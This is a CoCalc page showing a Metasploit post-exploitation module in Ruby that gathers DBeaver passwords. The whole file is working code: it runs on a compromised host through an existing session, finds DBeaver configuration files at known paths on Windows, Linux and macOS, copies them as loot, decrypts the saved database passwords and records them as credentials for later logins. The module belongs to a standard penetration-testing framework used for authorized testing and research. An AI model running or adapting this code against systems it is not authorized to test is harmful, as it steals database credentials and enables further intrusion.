CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/dbeaver.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Rex::Parser::Dbeaver
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gather Dbeaver Passwords',
15
'Description' => %q{
16
This module will determine if Dbeaver is installed on the target system and, if it is, it will try to
17
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
18
where possible.
19
},
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'URL', 'https://blog.kali-team.cn/Metasploit-dbeaver-9f42e26241c94ba785dce5f1e69697aa' ]
23
],
24
'Author' => ['Kali-Team <kali-team[at]qq.com>'],
25
'Platform' => [ 'linux', 'win', 'osx', 'unix'],
26
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
27
'Notes' => {
28
'Stability' => [],
29
'Reliability' => [],
30
'SideEffects' => []
31
}
32
)
33
)
34
register_options(
35
[
36
OptString.new('XML_FILE_PATH', [ false, 'Specifies the .dbeaver-data-sources.xml file path for Dbeaver']),
37
OptString.new('JSON_DIR_PATH', [ false, 'Specifies the json directory path for Dbeaver']),
38
]
39
)
40
end
41
42
def print_and_save(all_result)
43
pw_tbl = Rex::Text::Table.new(
44
'Header' => 'Dbeaver Password',
45
'Columns' => [
46
'Name',
47
'Protocol',
48
'Hostname',
49
'Port',
50
'Username',
51
'Password',
52
'DB',
53
'URI',
54
'Type',
55
]
56
)
57
all_result.each do |item|
58
item.each_value do |value|
59
pw_tbl << value.values
60
next if value['user'].empty? && value['password'].empty?
61
62
config = {
63
type: value['provider'],
64
host: value['host'],
65
port: value['port'],
66
username: value['user'],
67
password: value['password']
68
}
69
dbeaver_store_config(config)
70
end
71
end
72
if pw_tbl.rows.count > 0
73
path = store_loot('host.dbeaver', 'text/plain', session, pw_tbl, 'dbeaver.txt', 'Dbeaver Password')
74
print_good("Passwords stored in: #{path}")
75
print_good(pw_tbl.to_s)
76
end
77
end
78
79
def dbeaver_store_config(config)
80
service_data = {
81
address: config[:host],
82
port: config[:port],
83
service_name: config[:type],
84
protocol: 'tcp',
85
workspace_id: myworkspace_id
86
}
87
88
credential_data = {
89
origin_type: :session,
90
session_id: session_db_id,
91
post_reference_name: refname,
92
private_type: :password,
93
private_data: config[:password],
94
username: config[:username]
95
}.merge(service_data)
96
97
credential_core = create_credential(credential_data)
98
99
login_data = {
100
core: credential_core,
101
status: Metasploit::Model::Login::Status::UNTRIED
102
}.merge(service_data)
103
104
create_credential_login(login_data)
105
end
106
107
def parse_json_dir(json_dir)
108
some_result = []
109
credentials_config = File.join(json_dir, 'credentials-config.json')
110
data_sources = File.join(json_dir, 'data-sources.json')
111
if session.platform == 'windows'
112
credentials_config.gsub!('/') { '\\' }
113
data_sources.gsub!('/') { '\\' }
114
end
115
begin
116
if file_exist?(credentials_config) && file_exist?(data_sources)
117
credentials_config_data = read_file(credentials_config) || ''
118
data_sources_data = read_file(data_sources) || ''
119
print_error('The file could not be read') if data_sources_data.empty? || credentials_config_data.empty?
120
credentials_config_loot_path = store_loot('dbeaver.creds', 'text/json', session, credentials_config_data, credentials_config)
121
data_sources_loot_path = store_loot('dbeaver.creds', 'text/json', session, data_sources_data, data_sources)
122
print_good("dbeaver credentials-config.json saved to #{credentials_config_loot_path}")
123
print_good("dbeaver data-sources.json saved to #{data_sources_loot_path}")
124
some_result << parse_data_sources(data_sources_data, credentials_config_data)
125
print_status("Finished processing #{json_dir}")
126
end
127
rescue Rex::Parser::Dbeaver::Error::DbeaverError => e
128
print_error("Error when parsing #{data_sources} and #{credentials_config}: #{e}")
129
end
130
return some_result
131
end
132
133
def parse_xml_file(fullpath)
134
some_result = []
135
begin
136
if file_exist?(fullpath)
137
file_data = read_file(fullpath) || ''
138
print_error("The file #{fullpath} could not be read") if file_data.empty?
139
loot_path = store_loot('dbeaver.creds', 'text/xml', session, file_data, fullpath)
140
print_good("dbeaver .dbeaver-data-sources.xml saved to #{loot_path}")
141
result = parse_data_sources_xml(file_data)
142
if !result.empty?
143
some_result << result
144
end
145
print_status("Finished processing #{fullpath}")
146
end
147
rescue Rex::Parser::Dbeaver::Error::DbeaverError => e
148
print_error("Error when parsing #{fullpath}: #{e}")
149
end
150
return some_result
151
end
152
153
def get_path
154
path_hash = Hash.new
155
xml_paths = []
156
case session.platform
157
when 'windows'
158
app_data = get_env('AppData')
159
if app_data.present?
160
xml_paths.push(app_data + '\DBeaverData\workspace6\General\.dbeaver-data-sources.xml')
161
path_hash['json'] = app_data + '\DBeaverData\workspace6\General\.dbeaver'
162
end
163
home = get_env('USERPROFILE')
164
if home.present?
165
xml_paths.push(home + '\.dbeaver4\General\.dbeaver-data-sources.xml')
166
end
167
when 'linux', 'osx', 'unix'
168
home = get_env('HOME')
169
if home.present?
170
xml_paths.push(home + '/.dbeaver4/General/.dbeaver-data-sources.xml')
171
xml_paths.push(home + '/.local/share/DBeaverData/workspace6/General/.dbeaver-data-sources.xml')
172
path_hash['json'] = home + '/.local/share/DBeaverData/workspace6/General/.dbeaver'
173
end
174
end
175
path_hash['xml'] = xml_paths
176
return path_hash
177
end
178
179
def run
180
print_status('Gather Dbeaver Passwords')
181
all_result = []
182
xml_path = ''
183
json_path = ''
184
if datastore['XML_FILE_PATH'].present?
185
xml_path = datastore['XML_FILE_PATH']
186
print_status("Looking for #{xml_path}")
187
all_result += parse_xml_file(xml_path)
188
end
189
if datastore['JSON_DIR_PATH'].present?
190
json_path = datastore['JSON_DIR_PATH']
191
print_status("Looking for JSON files in #{json_path}")
192
all_result += parse_json_dir(json_path)
193
end
194
if xml_path.empty? && json_path.empty?
195
path_hash = get_path
196
xml_paths = path_hash['xml'] || []
197
xml_paths.each do |path|
198
result = parse_xml_file(path)
199
if !result.empty?
200
all_result += result
201
end
202
end
203
if !path_hash['json'].blank?
204
result = parse_json_dir(path_hash['json'])
205
if !result.empty?
206
all_result += result
207
end
208
end
209
end
210
print_and_save(all_result)
211
end
212
end
213
214